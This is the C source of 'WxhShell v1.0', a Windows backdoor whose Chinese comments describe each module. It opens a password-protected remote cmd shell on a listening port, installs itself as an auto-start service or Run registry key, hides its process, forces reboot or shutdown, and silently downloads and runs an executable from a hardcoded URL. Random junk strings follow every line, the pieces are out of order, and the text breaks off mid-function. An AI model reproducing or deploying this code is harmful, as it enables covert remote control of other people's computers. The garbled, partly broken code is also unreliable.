  case 'd': { Z|n|gxe  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r&4Xf# QD6  
    if(Boot(SHUTDOWN)) =;0-t\w!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'r]6 GC8Z$  
    else { Z8$BgP  
    closesocket(wsh); R BHDfm'~7  
    ExitThread(0); P! +Gwm{  
    } z;1dMQ,#  
    break; T$D(Y`zdn  
    } ]M*`Y[5"  
  // 获取shell I:TbZ*vi~  
  case 's': { "Wg,]$IvU  
    CmdShell(wsh); :1*E5pX0n  
    closesocket(wsh); $VHIU1JjZ  
    ExitThread(0); -orRmn6}  
    break; ) 1AAL0F\B  
  } F9j@KC(yg  
  // 退出 tC'E#2  
  case 'x': { BwWSztJ+B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MTtx|L\4  
    CloseIt(wsh); ej-A =avd  
    break; wI|h9q1U  
    } xkDK5&V  
  // 离开 \PxT47[@e  
  case 'q': { N=\ zx^w,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eTp|!T  
    closesocket(wsh); Nf )YG!  
    WSACleanup(); v=@y7P1  
    exit(1); r5~ W/eE  
    break; @bA5uY!  
        } -fPiHKJ  
  } 3UUdJh<~  
  } \:J=tAC  
!{^kH;*u  
  // 提示信息 IADHe\.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3Tu]-.  
} ;|vP|Xi  
  } HQP.7.w7 5  
Li6|c*K'  
  return; =\.*CY|;N  
} xZ`z+)  
`Qo37B2  
// shell模块句柄 Mm@G{J\\  
int CmdShell(SOCKET sock) |)!f".`  
{ I0zx'x)F  
STARTUPINFO si; qqw P4ceG  
ZeroMemory(&si,sizeof(si)); ,kJ7c;:i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >O\+9T@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CKn2ZL  
PROCESS_INFORMATION ProcessInfo; _dm0*T ?  
char cmdline[]="cmd"; &qS%~h%2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u$R5Q{H_  
  return 0; BjfVNF;hk:  
} I/njyV)H  
u"qVT9C$=  
// 自身启动模式 ]Kq<U%x$  
int StartFromService(void) 9iG&9tB@  
{ X~jdOaq{F:  
typedef struct  c`xNTr01  
{ G"?7 Z&+  
  DWORD ExitStatus; *eoH"UFYQ#  
  DWORD PebBaseAddress; U/enq,-F^  
  DWORD AffinityMask; 0]SWyC :  
  DWORD BasePriority; ikc1,o  
  ULONG UniqueProcessId; ~QbHp|g  
  ULONG InheritedFromUniqueProcessId; P_5aHeiJ  
}   PROCESS_BASIC_INFORMATION; qhY+<S9  
wL8j i>"  
PROCNTQSIP NtQueryInformationProcess; $L= Dky7  
/7D5I\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .JLJ(WM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "/6#Z>y  
}%Mdf6LS64  
  HANDLE             hProcess; M v (Pp  
  PROCESS_BASIC_INFORMATION pbi; xJ$uoy3+  
#S?^?3d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %8n<#0v-|4  
  if(NULL == hInst ) return 0; u*@R`,Y   
! :]_-DX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #$BFTlm|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Cw(e7K7&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 72Bc0Wg  
et+lL"&  
  if (!NtQueryInformationProcess) return 0; B9NUafK=  
VF2,(f-*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IRQtA ZV$  
  if(!hProcess) return 0; i)e6 U(H  
,CyX*k8o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "v:k5a(  
(O J/u)W^  
  CloseHandle(hProcess); <=n;5hv:  
ura&9~   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  PFX,X  
if(hProcess==NULL) return 0; oUnb-,8n  
9$$  Ijf  
HMODULE hMod; F)cCaE;  
char procName[255]; 4nm.ea|  
unsigned long cbNeeded; ^rJTlh 9  
&pzL}/u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )L9eLxI  
Trs~KcsD  
  CloseHandle(hProcess); IaeO0\ 4E  
*}89.kCBF  
if(strstr(procName,"services")) return 1; // 以服务启动 )(G<(eiD  
tlQ6>v'  
  return 0; // 注册表启动 W]eILCo  
} V5lUh#@TN&  
iO*5ClB  
// 主模块 tM"vIz 05  
int StartWxhshell(LPSTR lpCmdLine) dQIF '==6  
{ d=bK NA90  
  SOCKET wsl; Oz%6y ri  
BOOL val=TRUE; ;t+p2i  
  int port=0; *}C%z(  
  struct sockaddr_in door; @2"3RmYLo  
5Yv*f:  
  if(wscfg.ws_autoins) Install(); YWn""8p;P  
68?&`/t  
port=atoi(lpCmdLine); R_G2C@y*  
1K3XNHF  
if(port<=0) port=wscfg.ws_port; ,mm97I  
-E\G3/*51  
  WSADATA data; /rZk^/'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /4Wf\ Zu  
$EY[CA E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X i"9y @  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &qWg$_Yh  
  door.sin_family = AF_INET; cV>?*9z0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #D_Ti%.^}  
  door.sin_port = htons(port); T2rwK2  
`>\ ~y1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "&SE!3*m`I  
closesocket(wsl); vx?KenO}  
return 1; AT I=&O`  
} _XZK2Q[  
q}Po)IUT`5  
  if(listen(wsl,2) == INVALID_SOCKET) { {BlTLAKm  
closesocket(wsl); s7yKx g+`{  
return 1; !y_L~81?  
} )>h3IR  
  Wxhshell(wsl); &5K3AL  
  WSACleanup(); uH$hMg  
!PoyM[Z"f  
return 0; =T3{!\tH  
(QIU3EN  
} 4OM ]8I!  
G h+;Vrx  
// 以NT服务方式启动 ?M4ig_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UZt3Ua&J  
{ &c-V QP(  
DWORD   status = 0; WY|~E%k  
  DWORD   specificError = 0xfffffff; CX/[L)|Ru  
b(N+_= n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;sA 5&a>!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4'D^>z!c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i +@avoW  
  serviceStatus.dwWin32ExitCode     = 0; 4}D&=0IZ  
  serviceStatus.dwServiceSpecificExitCode = 0; w;@v#<q6  
  serviceStatus.dwCheckPoint       = 0; by9UwM=gp  
  serviceStatus.dwWaitHint       = 0; J37vA zK%  
pWzYC@_W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XC6|<pru  
  if (hServiceStatusHandle==0) return; ww %c+O/  
1 sza\pR<  
status = GetLastError(); Tg O]q4  
  if (status!=NO_ERROR) H8"RdKwg?  
{ g&/lyQ+G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "n3n-Y#'  
    serviceStatus.dwCheckPoint       = 0; #vK99 S2  
    serviceStatus.dwWaitHint       = 0; EIzTbW{p  
    serviceStatus.dwWin32ExitCode     = status; e?(4lD)d  
    serviceStatus.dwServiceSpecificExitCode = specificError; O~8jz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wp = ]YO  
    return; t_I-6`8o]  
  } nZj&Ma7R  
pDP* 3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6$PQ$  
  serviceStatus.dwCheckPoint       = 0; =^M Q 4  
  serviceStatus.dwWaitHint       = 0; *RJD^hu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A\mSS  
} SKf;Fe  
UBv#z&@[  
// 处理NT服务事件,比如:启动、停止 H '5zl^8I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -"yma_  
{ / tkV/  
switch(fdwControl) Dp*:oMATx0  
{ @QJPcF"  
case SERVICE_CONTROL_STOP: i`9}">7v~  
  serviceStatus.dwWin32ExitCode = 0; &gV9h>Kc#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `Q+O#l?  
  serviceStatus.dwCheckPoint   = 0; 0p3) t  
  serviceStatus.dwWaitHint     = 0; X..M!3W  
  { )sIzBC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {nZP4jze  
  } zwUZ*Se  
  return; %QDAog  
case SERVICE_CONTROL_PAUSE: }}Q h_(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _JpTHpqu  
  break;  w D  
case SERVICE_CONTROL_CONTINUE: %j0c|u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; agoMsxI9  
  break; F$v^S+Ch  
case SERVICE_CONTROL_INTERROGATE: cPL6(&7  
  break; l}S96B  
}; \RVfgfe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "OP$n-*@%  
} uG.`  
@B+8' b$9  
// 标准应用程序主函数 y\6C9%.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h{]0 H'g  
{ qoQ,3&<  
wMm+E "}W  
// 获取操作系统版本 &_QD1 TT  
OsIsNt=GetOsVer(); sAX4giaLD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]*DIn1C^  
|.~2C1 4[  
  // 从命令行安装 2sBYy 8.r  
  if(strpbrk(lpCmdLine,"iI")) Install(); B_c-@kl   
AA|G &&1y  
  // 下载执行文件 z2.OR,R}]  
if(wscfg.ws_downexe) { ODCN~7-@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H-& ktQWK3  
  WinExec(wscfg.ws_filenam,SW_HIDE); k fOd|-  
} +^,&z}( Ak  
}i;!p Ue$  
if(!OsIsNt) { i[vN3`*B  
// 如果时win9x,隐藏进程并且设置为注册表启动 eZpi+BRS6  
HideProc(); 0*OK]`9  
StartWxhshell(lpCmdLine); 1- GtZ2  
} l>Zp#+I-  
else '}Jq(ah(  
  if(StartFromService()) ;M#D*<ucI:  
  // 以服务方式启动 noWwX  
  StartServiceCtrlDispatcher(DispatchTable); gU@.IOg  
else 8(6mH'^y  
  // 普通方式启动 k V'0rb  
  StartWxhshell(lpCmdLine); z\J#d 1e  
&C/,~pJ1S  
return 0; o2y #Yk  
} SsL>K*t5  
r)w]~)8  
L~M6 ca"  
Gnqun%  
=========================================== (j)>npOd9  
P^/e!%UgC  
w\a9A#v,  
@:u2{>Yl  
5)K?:7  
]\=M$:,RZ  
" 8{.:$T  
lgCOp%>  
#include <stdio.h> OB+I.qlHP  
#include <string.h> sgeME^v  
#include <windows.h> l0wvWv*k  
#include <winsock2.h> f;W>:`'  
#include <winsvc.h> BjUz"69  
#include <urlmon.h> y-7$HWn  
KMkX0+Ao  
#pragma comment (lib, "Ws2_32.lib") ~o/e0  
#pragma comment (lib, "urlmon.lib") J@9E20$  
<Y#EiC.  
#define MAX_USER   100 // 最大客户端连接数 A.S:eQvS%  
#define BUF_SOCK   200 // sock buffer q1M16qv5  
#define KEY_BUFF   255 // 输入 buffer CY8=prC  
HuL9' M  
#define REBOOT     0   // 重启 L5>.ku=T  
#define SHUTDOWN   1   // 关机  gY@$g  
7G8M+i3q/  
#define DEF_PORT   5000 // 监听端口 8!dA1]2;  
!P* z=  
#define REG_LEN     16   // 注册表键长度 "(y|iS$^T  
#define SVC_LEN     80   // NT服务名长度 T$xY]hqr  
ki_Py5  
// 从dll定义API }~o>H a;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h3L{zOff  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kF *^" Cn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y'i_EX|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @7B!(Q  
.zyi'Kj  
// wxhshell配置信息 y>m=A41:g  
struct WSCFG { XS"lR |  
  int ws_port;         // 监听端口 yu62$ d  
  char ws_passstr[REG_LEN]; // 口令 8h7z  
  int ws_autoins;       // 安装标记, 1=yes 0=no itIzs99j  
  char ws_regname[REG_LEN]; // 注册表键名 :~]ha  
  char ws_svcname[REG_LEN]; // 服务名 ?)#}Nj<R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 faaFmEC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ijWn,bj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,U/ZG|=v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j'JNQo;q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" owc#RW9 7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 > jvi7  
3YPoObY  
}; CVBy&o"6A  
+-OqO3R  
// default Wxhshell configuration Cy##+u,C  
struct WSCFG wscfg={DEF_PORT, $nbZ+~49  
    "xuhuanlingzhe", :<Y, f(c  
    1, w873: =  
    "Wxhshell", 9y"*H2$#  
    "Wxhshell", 7w{>bYP  
            "WxhShell Service", [Y]\sF;J  
    "Wrsky Windows CmdShell Service", y"SVZ} ;|  
    "Please Input Your Password: ", h"G#} C]  
  1, u($y<Q)=  
  "http://www.wrsky.com/wxhshell.exe", K%A:W  
  "Wxhshell.exe" hK&/A+*  
    }; <$'OSN`!  
E7qk>~Dg  
// 消息定义模块  qTL]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; miZ&9m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aE( j_`L78  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9n"D/NZB  
char *msg_ws_ext="\n\rExit."; thjCfP   
char *msg_ws_end="\n\rQuit."; *L.+w-g&&  
char *msg_ws_boot="\n\rReboot..."; <M|kOi  
char *msg_ws_poff="\n\rShutdown..."; ca1A9fvo  
char *msg_ws_down="\n\rSave to "; AA$-Lx(UJk  
dRXF5Ox5K}  
char *msg_ws_err="\n\rErr!"; 1x#Z}XG  
char *msg_ws_ok="\n\rOK!"; hqVFb.6[  
|,89zTk'  
char ExeFile[MAX_PATH]; P*6B+8h"5g  
int nUser = 0; D?3^>h  
HANDLE handles[MAX_USER]; Yvu!Q  
int OsIsNt; \j]i"LpWb  
}?=$?3W  
SERVICE_STATUS       serviceStatus; .* xaI+:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wh@;$s"B  
Ul@yXtj  
// 函数声明 + AyrKs?h  
int Install(void); 257pO9]  
int Uninstall(void); fE;<)tU  
int DownloadFile(char *sURL, SOCKET wsh); wBUn*L  
int Boot(int flag); ("k.5$  
void HideProc(void); @exeHcW61  
int GetOsVer(void); gZe(aGh  
int Wxhshell(SOCKET wsl); /MB3w m  
void TalkWithClient(void *cs); O!(M:.  
int CmdShell(SOCKET sock); !>{` o/dZ  
int StartFromService(void); ~4\J }Kn  
int StartWxhshell(LPSTR lpCmdLine); |T}Q ~  
.>0j<|~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,=tPh4>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `)5E_E3  
*1fq:--  
// 数据结构和表定义 #%xzy@`  
SERVICE_TABLE_ENTRY DispatchTable[] = EencMi7J  
{ c|%.B2  
{wscfg.ws_svcname, NTServiceMain},  s=&&gC1  
{NULL, NULL} Pvq74?an`  
}; 5 #)5Z8`X  
B'OUT2cgB  
// 自我安装 E {$Jk]c  
int Install(void) 90o G+T4  
{ >i%{5d  
  char svExeFile[MAX_PATH]; xn'&TQo0  
  HKEY key; .|Pq!uLvc  
  strcpy(svExeFile,ExeFile); ^#T@NN0T  
@Q;%hb  
// 如果是win9x系统,修改注册表设为自启动 \Q"j^4   
if(!OsIsNt) { I dsPB)k_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %- W3F5NK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "/e:V-W   
  RegCloseKey(key); z  %Ty;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *E0dCY$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /*)zQ?N  
  RegCloseKey(key); ~.?,*q7  
  return 0; < `r+ZyM  
    } =ILE/ pC-|  
  } *"\QR>n   
} ]uN}n;`12  
else { r%*,pN7O  
uz6S7I  
// 如果是NT以上系统,安装为系统服务 Tji G!W8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qU(,q/l  
if (schSCManager!=0) 3xSt -MA  
{ -\OvOkr  
  SC_HANDLE schService = CreateService C:+-T+m[  
  ( kQ5mIJ9(  
  schSCManager, LD]a!eY  
  wscfg.ws_svcname, slC 38  
  wscfg.ws_svcdisp, tONX<rA|]  
  SERVICE_ALL_ACCESS, #1-,s.)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a\60QlAk~  
  SERVICE_AUTO_START, \&K{v#g ~  
  SERVICE_ERROR_NORMAL, B|9)4f&\=R  
  svExeFile, KTr7z^  
  NULL, nKI]f`P7  
  NULL, a:*8SovI  
  NULL, + niz(]  
  NULL, ]W^F!p~eC  
  NULL N?Byp&rqI<  
  ); .g L%0  
  if (schService!=0) z ;>xI~  
  { I8R#EM%C#  
  CloseServiceHandle(schService); s&UuB1   
  CloseServiceHandle(schSCManager); V*X6 <}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OPVF)@"ptM  
  strcat(svExeFile,wscfg.ws_svcname); k1l\Rywp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kjVUG >e>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TI^W=5W@@  
  RegCloseKey(key); }^!8I7J.  
  return 0; $T.u Iq  
    } N8hiv'3  
  } vS#Y,H:yAj  
  CloseServiceHandle(schSCManager); S{HAFrkm7  
} 0wM2v[^YO  
} c2Q KI~\x  
q~esxp  
return 1; 1:!_AU?  
} 6# [  
]S@zhQ  
// 自我卸载 zSy^vM;6zf  
int Uninstall(void) V iY-&q'  
{ `1}WQS  
  HKEY key; aQjs5RbP~  
CD}::7$  
if(!OsIsNt) { ,%)O/{p_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &8p]yo2zO  
  RegDeleteValue(key,wscfg.ws_regname); E@}N}SR  
  RegCloseKey(key); hkS0ae  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bTBV:]w  
  RegDeleteValue(key,wscfg.ws_regname); H7{)"P]{f  
  RegCloseKey(key); >6Y @8 )  
  return 0; j)G<PW  
  } o#GZ|9IL  
} 6T"4<w[  
} _C`&(?}  
else { R;mA2:W)x  
W|X=R?*ZK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J,iS<lV_  
if (schSCManager!=0) F ru&-T[  
{ ?3[Gh9g`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <}uhKp>*  
  if (schService!=0) ,7HlYPec  
  { onqifQ  
  if(DeleteService(schService)!=0) { @477|LO  
  CloseServiceHandle(schService); I /2{I  
  CloseServiceHandle(schSCManager); W&g@o@wa  
  return 0; bVLBqa=  
  } 5 [GdFd>{  
  CloseServiceHandle(schService); n["G ry  
  } &`@S_YLr  
  CloseServiceHandle(schSCManager);  }?eO.l{  
} _HMQx_e0YM  
} 5#275Hyv  
W;Y"J_  
return 1; ;$nCQ/ /  
} k|hy_? *  
ys/U.e|)!  
// 从指定url下载文件 7%j1=V/  
int DownloadFile(char *sURL, SOCKET wsh) 1U)U{i7j  
{ h(~@ n d{  
  HRESULT hr; dDu8n+(8 L  
char seps[]= "/"; > J.q3  
char *token; v(0IQ  
char *file; 'zJBp 9a%  
char myURL[MAX_PATH]; :9H`O!VF  
char myFILE[MAX_PATH];  !n`9V^`  
7MbV|gM}  
strcpy(myURL,sURL); %LM2CgH V  
  token=strtok(myURL,seps); |*fi!nvk@  
  while(token!=NULL) dI(1L~  
  { 2v$\mL  
    file=token; C.|.0^5  
  token=strtok(NULL,seps); q1^bH 6*fl  
  } ,kQCCn]  
2y"L&3W  
GetCurrentDirectory(MAX_PATH,myFILE); ] /"!J6(e  
strcat(myFILE, "\\"); q!10 G  
strcat(myFILE, file); /wi*OZ7R  
  send(wsh,myFILE,strlen(myFILE),0); C1`fJh y  
send(wsh,"...",3,0); *w#^`yeo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t f3R  
  if(hr==S_OK) /KTWBcs 7  
return 0; d[F3"b%  
else E8/Pi>QW  
return 1; BT^Im=A  
qdPmTaak  
} Nf5zQ@o_y  
i}L*PCP  
// 系统电源模块 Vg^yjP{sv  
int Boot(int flag) A3Xfu$[u  
{ <B Vx%  
  HANDLE hToken; :R'={0Jg  
  TOKEN_PRIVILEGES tkp; 2^X<n{0N)  
\b;z$P\+*  
  if(OsIsNt) { pP-L{bT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (VM.]B<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G_QV'zQ  
    tkp.PrivilegeCount = 1; 6ys|'<?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6vfut$)[{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {1"kZL  
if(flag==REBOOT) { Fy*t[>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `t7z LC^c  
  return 0; K_Pbzj4(P  
} :u,Ji9 u  
else { h1~/zM/`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7](aPm8  
  return 0; :IX_|8e ^  
} ms&6N']  
  } r0Zj'F_e  
  else { C14"lB.  
if(flag==REBOOT) { HGao}@'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /[qLf:rGI  
  return 0; #e[S+a  
} 2Rqpok4  
else { Ofc u4pi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /pC60y}O0  
  return 0; 782 oXyD  
} |;(>q  
} kr\#CW0?  
Bdcs}Ga  
return 1; F AQx8P  
} |fB/hs \  
l h?[wc  
// win9x进程隐藏模块 D4T42L  
void HideProc(void) mhMTn*9  
{ Doe:m#aNj  
pK"iTc#\X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @x^/X8c(p  
  if ( hKernel != NULL ) ro+8d  
  { uO((Mg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D/ tCB-+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G|I}x/X"Q7  
    FreeLibrary(hKernel); BZa`:ah~x  
  } pwv mb\  
,z01 *Yx  
return; cK,&huk  
} t>2EZ{N +y  
mT>RQ.  
// 获取操作系统版本 -;O"Y?ME  
int GetOsVer(void) gDjAnz#  
{ $Ji;zR4,  
  OSVERSIONINFO winfo; ,*sKr)9)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .:t&LC][  
  GetVersionEx(&winfo); R_=fH\c;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _ mgu r  
  return 1; EeQ2\'t  
  else CHVAs9mrNB  
  return 0; _&M^}||UH  
} yBCLS550  
U J uz  
// 客户端句柄模块 ezA&cZ5  
int Wxhshell(SOCKET wsl) DFb hy  
{ sVH w\_F$  
  SOCKET wsh; Ri3*au/Q  
  struct sockaddr_in client; h^YUu`P  
  DWORD myID; zCS&w ~  
F9>"1  
  while(nUser<MAX_USER) .7+"KP:  
{ ~wu\j][2  
  int nSize=sizeof(client); xJin %:O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <r)5jf  
  if(wsh==INVALID_SOCKET) return 1; Zul@aS !  
gX`C76P!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {*"\6 8e  
if(handles[nUser]==0) N"7BV  
  closesocket(wsh); Q]]M;(  
else /GF"D5  
  nUser++; %Q=rm!Syv  
  } ]l"9B'XR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KuF>2KX~Y  
lSy_cItF  
  return 0; " eS-i@  
} (/S6b  
9 RC:-d;;_  
// 关闭 socket F jW%M;H  
void CloseIt(SOCKET wsh) :|-^et]a8  
{ 7HJH9@8V  
closesocket(wsh); #@ F   
nUser--; RLO<5L  
ExitThread(0); @cQ |`  
} BnG{) \s  
d>0 j!+s  
// 客户端请求句柄 HP=5 a.  
void TalkWithClient(void *cs) )"g @"LJ=  
{ W]D+[mpgK  
uM[[skc  
  SOCKET wsh=(SOCKET)cs; mj ,Oy  
  char pwd[SVC_LEN]; z3M6<.K  
  char cmd[KEY_BUFF]; ?[.g~DK,  
char chr[1]; O`_]n  
int i,j; 16"L;r  
1i#U&  
  while (nUser < MAX_USER) { M8VsU*aU  
/px`FuJI(  
if(wscfg.ws_passstr) { wsj5;(f+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }:\e "Bfv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F<O<=Ww  
  //ZeroMemory(pwd,KEY_BUFF); =%{E^z>1  
      i=0; SJlL!<i$  
  while(i<SVC_LEN) { =kw6<!R  
;I>77gi`]  
  // 设置超时 d 1 O+qS  
  fd_set FdRead; $gdGII&n  
  struct timeval TimeOut; 5N907XVu  
  FD_ZERO(&FdRead); ?Hbi[YD  
  FD_SET(wsh,&FdRead); 3V/f-l]X/  
  TimeOut.tv_sec=8; d3p;[;`  
  TimeOut.tv_usec=0; D7C%Y^K]>E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7H. HiyppW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6W'2w?qj?4  
CWkAc5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Oe0dC9H  
  pwd=chr[0]; (Li)@Cn%  
  if(chr[0]==0xd || chr[0]==0xa) { UO' X"`  
  pwd=0; zTze %  
  break; {/XU[rn  
  } 7mYBxE/  
  i++; /?C6 oj1  
    } ~{D:vj4>  
h)T-7b  
  // 如果是非法用户,关闭 socket F5<GGEQb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _p| KaT``  
} 30h1)nQ$h}  
R[2h!.O8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `4"&_ltD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NmV][0(BS  
9|hPl-. .W  
while(1) { F :-6Htmj  
;W!hl<``d*  
  ZeroMemory(cmd,KEY_BUFF); !Op18hP$  
Q?Uk%t\hwc  
      // 自动支持客户端 telnet标准   fG /wU$B  
  j=0; eS"sd^;R  
  while(j<KEY_BUFF) { (d-j/v*4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `=#ry*E^:  
  cmd[j]=chr[0]; |9 4xRC  
  if(chr[0]==0xa || chr[0]==0xd) { yXA]E.K!  
  cmd[j]=0; Xqas[:)7+  
  break; LiD-su D  
  } (ZEDDV2  
  j++; _ 3>|1RB  
    } m}nA- *  
1I U*:Z;Rz  
  // 下载文件 Alb5#tm:m  
  if(strstr(cmd,"http://")) { I[I]C9D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zyFbu=d|O:  
  if(DownloadFile(cmd,wsh)) eC-nV)]I9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sJYs{Wm  
  else mQt?d?6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rVx?Yo1F'  
  } LL=nMoS  
  else { d:=:l?  
